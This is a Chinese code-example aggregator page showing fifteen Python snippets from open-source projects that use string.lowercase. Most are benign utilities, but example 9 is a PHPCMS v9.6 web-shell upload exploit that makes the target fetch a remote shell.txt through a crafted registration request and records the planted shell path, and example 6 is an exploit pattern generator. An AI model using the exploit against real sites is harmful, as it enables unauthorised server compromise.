當前位置: 首頁>>代碼示例>>Python>>正文


Python string.lowercase方法代碼示例

本文整理匯總了Python中string.lowercase方法的典型用法代碼示例。如果您正苦於以下問題:Python string.lowercase方法的具體用法?Python string.lowercase怎麽用?Python string.lowercase使用的例子?那麽, 這裏精選的方法代碼示例或許可以為您提供幫助。您也可以進一步了解該方法所在string的用法示例。


在下文中一共展示了string.lowercase方法的15個代碼示例,這些例子默認根據受歡迎程度排序。您可以為喜歡或者感覺有用的代碼點讚,您的評價將有助於係統推薦出更棒的Python代碼示例。

示例1: int2base

# 需要導入模塊: import string [as 別名]
# 或者: from string import lowercase [as 別名]
def int2base(x, base):
        import string

        digs = string.digits + string.lowercase
        if x < 0:
            sign = -1
        elif x == 0:
            return '0'
        else:
            sign = 1
        x *= sign
        digits = []
        while x:
            digits.append(digs[x % base])
            x /= base
        if sign < 0:
            digits.append('-')
        digits.reverse()
        return ''.join(digits) 
開發者ID:OpenMTC,項目名稱:OpenMTC,代碼行數:21,代碼來源:parsers.py

示例2: getLogLineBNF

# 需要導入模塊: import string [as 別名]
# 或者: from string import lowercase [as 別名]
def getLogLineBNF():
    global logLineBNF
    
    if logLineBNF is None:
        integer = Word( nums )
        ipAddress = delimitedList( integer, ".", combine=True )
        
        timeZoneOffset = Word("+-",nums)
        month = Word(string.uppercase, string.lowercase, exact=3)
        serverDateTime = Group( Suppress("[") + 
                                Combine( integer + "/" + month + "/" + integer +
                                        ":" + integer + ":" + integer + ":" + integer ) +
                                timeZoneOffset + 
                                Suppress("]") )
                         
        logLineBNF = ( ipAddress.setResultsName("ipAddr") + 
                       Suppress("-") +
                       ("-" | Word( alphas+nums+"@._" )).setResultsName("auth") +
                       serverDateTime.setResultsName("timestamp") + 
                       dblQuotedString.setResultsName("cmd").setParseAction(getCmdFields) +
                       (integer | "-").setResultsName("statusCode") + 
                       (integer | "-").setResultsName("numBytesSent")  + 
                       dblQuotedString.setResultsName("referrer").setParseAction(removeQuotes) +
                       dblQuotedString.setResultsName("clientSfw").setParseAction(removeQuotes) )
    return logLineBNF 
開發者ID:nil0x42,項目名稱:phpsploit,代碼行數:27,代碼來源:httpServerLogParser.py

示例3: increment

# 需要導入模塊: import string [as 別名]
# 或者: from string import lowercase [as 別名]
def increment(s):
    if not s:
        return '1'
    for sequence in string.digits, string.lowercase, string.uppercase:
        lastc = s[-1]
        if lastc in sequence:
            i = sequence.index(lastc) + 1
            if i >= len(sequence):
                if len(s) == 1:
                    s = sequence[0]*2
                    if s == '00':
                        s = '10'
                else:
                    s = increment(s[:-1]) + sequence[0]
            else:
                s = s[:-1] + sequence[i]
            return s
    return s # Don't increment 
開發者ID:aliyun,項目名稱:oss-ftp,代碼行數:20,代碼來源:texi2html.py

示例4: __call__

# 需要導入模塊: import string [as 別名]
# 或者: from string import lowercase [as 別名]
def __call__(self, *typeargs):
        if len(typeargs) < 1:
            msg = "Missing type args in statement: `data.%s()`" % self.name
            raise SyntaxError(msg)

        # make sure all type params are strings
        if not all((type(arg) == str for arg in typeargs)):
            raise SyntaxError("Type parameters must be strings")

        # make sure all type params are letters only
        is_letters = lambda xs: all((x in string.lowercase for x in xs))
        if not all((is_letters(arg) for arg in typeargs)):
            raise SyntaxError("Type parameters must be lowercase letters")

        # all type parameters must have unique names
        if len(typeargs) != len(set(typeargs)):
            raise SyntaxError("Type parameters are not unique")

        return __new_tcon_hkt__(self.name, typeargs) 
開發者ID:billpmurphy,項目名稱:hask,代碼行數:21,代碼來源:syntax.py

示例5: to_lower

# 需要導入模塊: import string [as 別名]
# 或者: from string import lowercase [as 別名]
def to_lower(string):
    """:yaql:toLower

    Returns a string with all case-based characters lowercase.

    :signature: string.toLower()
    :receiverArg string: value to lowercase
    :argType string: string
    :returnType: string

    .. code::

        yaql> "AB1c".toLower()
        "ab1c"
    """
    return string.lower() 
開發者ID:openstack,項目名稱:yaql,代碼行數:18,代碼來源:strings.py

示例6: pattern_gen

# 需要導入模塊: import string [as 別名]
# 或者: from string import lowercase [as 別名]
def pattern_gen(length):
    """
    Generate a pattern of a given length up to a maximum
    of 20280 - after this the pattern would repeat
    """
    if length >= MAX_PATTERN_LENGTH:
        print 'ERROR: Pattern length exceeds maximum of %d' % MAX_PATTERN_LENGTH
        sys.exit(1)

    pattern = ''
    for upper in uppercase:
        for lower in lowercase:
            for digit in digits:
                if len(pattern) < length:
                    pattern += upper+lower+digit
                else:
                    out = pattern[:length]
                    print out
                    return 
開發者ID:Und3rf10w,項目名稱:security-scripts,代碼行數:21,代碼來源:pattern.py

示例7: main

# 需要導入模塊: import string [as 別名]
# 或者: from string import lowercase [as 別名]
def main(argv):

	if (len(sys.argv) != 5):
		sys.exit('Usage: simple_pass.py <upper_case> <lower_case> <digit> <special_characters>')
    
	password = ''
	
	for i in range(len(argv)):
		for j in range(int(argv[i])):
			if i == 0:
				password += string.uppercase[random.randint(0,len(string.uppercase)-1)]
			elif i == 1:
				password += string.lowercase[random.randint(0,len(string.lowercase)-1)]
			elif i == 2:
				password += string.digits[random.randint(0,len(string.digits)-1)]
			elif i == 3:
				password += string.punctuation[random.randint(0,len(string.punctuation)-1)]
	
	print 'You new password is: ' + ''.join(random.sample(password,len(password))) 
開發者ID:ActiveState,項目名稱:code,代碼行數:21,代碼來源:recipe-578396.py

示例8: write_file

# 需要導入模塊: import string [as 別名]
# 或者: from string import lowercase [as 別名]
def write_file(path, capacity):
    """write test data to file
    """
    logger.info("write %s data into file %s" % (capacity, path))
    out = utils.get_capacity_suffix_size(capacity)
    f = open(path, 'w')
    if sys.version_info[0] < 3:
        datastr = ''.join(string.lowercase + string.uppercase +
                          string.digits + '.' + '\n')
    else:
        datastr = ''.join(string.ascii_lowercase + string.ascii_uppercase +
                          string.digits + '.' + '\n')
    repeat = int(out['capacity_byte'] / 64)
    data = ''.join(repeat * datastr)
    f.write(data)
    f.close() 
開發者ID:libvirt,項目名稱:libvirt-test-API,代碼行數:18,代碼來源:dir_vol_download.py

示例9: getshell

# 需要導入模塊: import string [as 別名]
# 或者: from string import lowercase [as 別名]
def getshell(self,host):
        try:
            url = '%s/index.php?m=member&amp;c=index&amp;a=register&amp;siteid=1' % host
            flag = ''.join([random.choice(string.lowercase) for _ in range(8)])
            flags = ''.join([random.choice(string.digits) for _ in range(8)])
            headers = {
            'Accept':'text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8',
            'Accept-Encoding':'gzip, deflate',
            'Accept-Language':'zh-CN,zh;q=0.8,en-US;q=0.5,en;q=0.3',
            'Upgrade-Insecure-Requests':'1',
            'Content-Type': 'application/x-www-form-urlencoded',
            'User-Agent':'Mozilla/5.0 (Windows NT 10.0; WOW64; rv:52.0) Gecko/20100101 Firefox/52.0'}
            data = "siteid=1&amp;modelid=11&amp;username={}&amp;password=ad{}min&amp;email={}@cnnetarmy.com&amp;info%5Bcontent%5D=%3Cimg%20src=http://www.cnnetarmy.com/soft/shell.txt?.php#.jpg&gt;&amp;dosubmit=1&amp;protocol=".format(flag,flags,flag)
            r = requests.post(url=url,headers=headers,data=data,timeout=5)
            #print r.content
            shell_path = re.findall(r'lt;img src=(.*?)&gt;',str(r.content))[0]
            print '[*] shell: %s  | pass is: cmd' % shell_path
            with open('sql_ok.txt','a')as tar:
                tar.write(shell_path)
                tar.write('\n')
        except:
            print 'requests error.'
            pass 
開發者ID:nanshihui,項目名稱:PocCollect,代碼行數:25,代碼來源:phpcms_v9_6.py

示例10: computeSize

# 需要導入模塊: import string [as 別名]
# 或者: from string import lowercase [as 別名]
def computeSize(self, *args):
        barWidth = self.barWidth
        oa, oA = ord('a') - 1, ord('A') - 1

        w = 0.0

        for c in self.decomposed:
            oc = ord(c)
            if c in string.lowercase:
                w = w + barWidth * (oc - oa)
            elif c in string.uppercase:
                w = w + barWidth * (oc - oA)

        if self.barHeight is None:
            self.barHeight = w * 0.15
            self.barHeight = max(0.25 * inch, self.barHeight)

        if self.quiet:
            w += self.lquiet + self.rquiet

        self._height = self.barHeight
        self._width = w 
開發者ID:gltn,項目名稱:stdm,代碼行數:24,代碼來源:common.py

示例11: getRandStr

# 需要導入模塊: import string [as 別名]
# 或者: from string import lowercase [as 別名]
def getRandStr(length):
        return ''.join(random.choice(string.lowercase) for i in range(length)) 
開發者ID:tatanus,項目名稱:apt2,代碼行數:4,代碼來源:utils.py

示例12: test_attrs

# 需要導入模塊: import string [as 別名]
# 或者: from string import lowercase [as 別名]
def test_attrs(self):
        string.whitespace
        string.lowercase
        string.uppercase
        string.letters
        string.digits
        string.hexdigits
        string.octdigits
        string.punctuation
        string.printable 
開發者ID:IronLanguages,項目名稱:ironpython2,代碼行數:12,代碼來源:test_string.py

示例13: path_and_rename

# 需要導入模塊: import string [as 別名]
# 或者: from string import lowercase [as 別名]
def path_and_rename(path):
        def wrapper(instance, filename):
            ext = filename.split('.')[-1]
            f_name = '-'.join(filename.replace('.pdf', '').split() )
            rand_strings = ''.join( random.choice(string.lowercase+string.digits) for i in range(10) )
            filename = '{}_{}{}.{}'.format(f_name, rand_strings, uuid4().hex, ext)
            return os.path.join(path, filename)
        return wrapper

    # Please comment `validators=[pdf_validator]` before migrate/makemigrations your database.
    # For more: https://docs.djangoproject.com/en/1.9/topics/migrations/#serializing-values 
開發者ID:agusmakmun,項目名稱:Some-Examples-of-Simple-Python-Script,代碼行數:13,代碼來源:Auto rename file upload.py

示例14: _make_tag_list

# 需要導入模塊: import string [as 別名]
# 或者: from string import lowercase [as 別名]
def _make_tag_list(n=26):
    '''Returns a list of tag dicts, starting with 'aa, bb, ..., zz', then
    'aaa, bbb, ..., zzz', etc. Tags must be at least 2 characters.'''
    lc = string.lowercase
    lc_len = len(lc)
    return [{'name': lc[i % lc_len] * int(math.ceil(i / lc_len) + 2)}
            for i in range(0, n)] 
開發者ID:italia,項目名稱:daf-recipes,代碼行數:9,代碼來源:test_tags.py

示例15: randpar

# 需要導入模塊: import string [as 別名]
# 或者: from string import lowercase [as 別名]
def randpar():
    return " ".join(["".join([random.choice(string.lowercase)
                              for j in range(random.randint(1, 3))])
                     for i in range(random.randint(100, 300))]) 
開發者ID:pyx-project,項目名稱:pyx,代碼行數:6,代碼來源:textboxes.py


注:本文中的string.lowercase方法示例由純淨天空整理自Github/MSDocs等開源代碼及文檔管理平台,相關代碼片段篩選自各路編程大神貢獻的開源項目,源碼版權歸原作者所有,傳播和使用請參考對應項目的License;未經允許,請勿轉載。